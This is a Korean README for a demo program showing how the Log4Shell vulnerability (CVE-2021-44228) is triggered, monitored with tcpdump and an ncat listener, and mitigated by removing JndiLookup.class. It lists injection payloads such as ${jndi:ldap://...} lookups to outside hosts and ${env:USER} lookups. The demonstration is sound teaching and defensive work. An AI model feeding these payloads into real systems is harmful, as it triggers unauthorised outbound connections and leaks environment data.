Log4j 취약점(CVE-2021-44228)이 어떻게 악용될 수 있는지 보여주는 간단한 프로그램입니다.
데모 실행 방법 :
프로그램을 시작하려면 UNIX 시스템에서는 start.sh를, Windows에서는 start.bat를 실행하면 됩니다.
사용자 입력은 Log4j 프레임워크를 사용하여 콘솔에 읽혀지고 기록됩니다.
기본적으로 Log4j 라이브러리에서 생성된 로깅 메시지는 JNDI 치환에 대해 서버 연결 불가 / 호스트를 찾을 수 없음 오류를 제공하지 않습니다. (그리고 이것이 이 취약점이 은밀하게 악용될 수 있는 주요 이유이기도 합니다.)
또한 ${jndi:ldap://test29.google.com/blah} 와 같은 하위 도메인을 사용해 보세요. 때때로 JNDI 호출은 원격 서버의 응답을 기다리며, 그래서 프로그램이 실제로 백그라운드에서 연결 시도를 했음에도 불구하고 멈춘 것처럼 보입니다. 존재하지 않는 하위 도메인을 사용하면 JNDI 호출은 연결 시도 후 빠르게 종료되고 프로그램은 계속 실행됩니다.
한 셸에서 프로그램을 실행하고, 다른 셸에서 "tcpdump -i any | grep google" 명령을 병렬로 실행한 다음 프로그램에 입력을 제공하여 프로그램이 연결 시도를 했는지 확인하는 것을 권장합니다.
Log4j 치환 동작 :
원격 연결 시도 :
몇 가지 샘플 입력 :
testing ( 일반 문자열 )
단순 로그 메시지 이상이 될 수 있는 예시 :
${env:USER} ( UNIX )
${env:USERNAME} ( Windows )
${jndi:ldap://test.java.net}
${jndi:ldap://localhost:12000}
--
모니터링 :
tcpdump -i any | grep -i "java.net"
ncat -k -vv -c "echo hi" -l 12000
--
취약점 완화를 위한 JndiLookup 클래스 제거 :
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
이 명령은 Log4j 코어 Jar에서 JndiLookup.class를 삭제합니다.
위 단계 후 동일한 프로그램을 실행하면, 프로그램은 어떤 연결 시도 / JNDI 치환도 수행하지 않아야 합니다.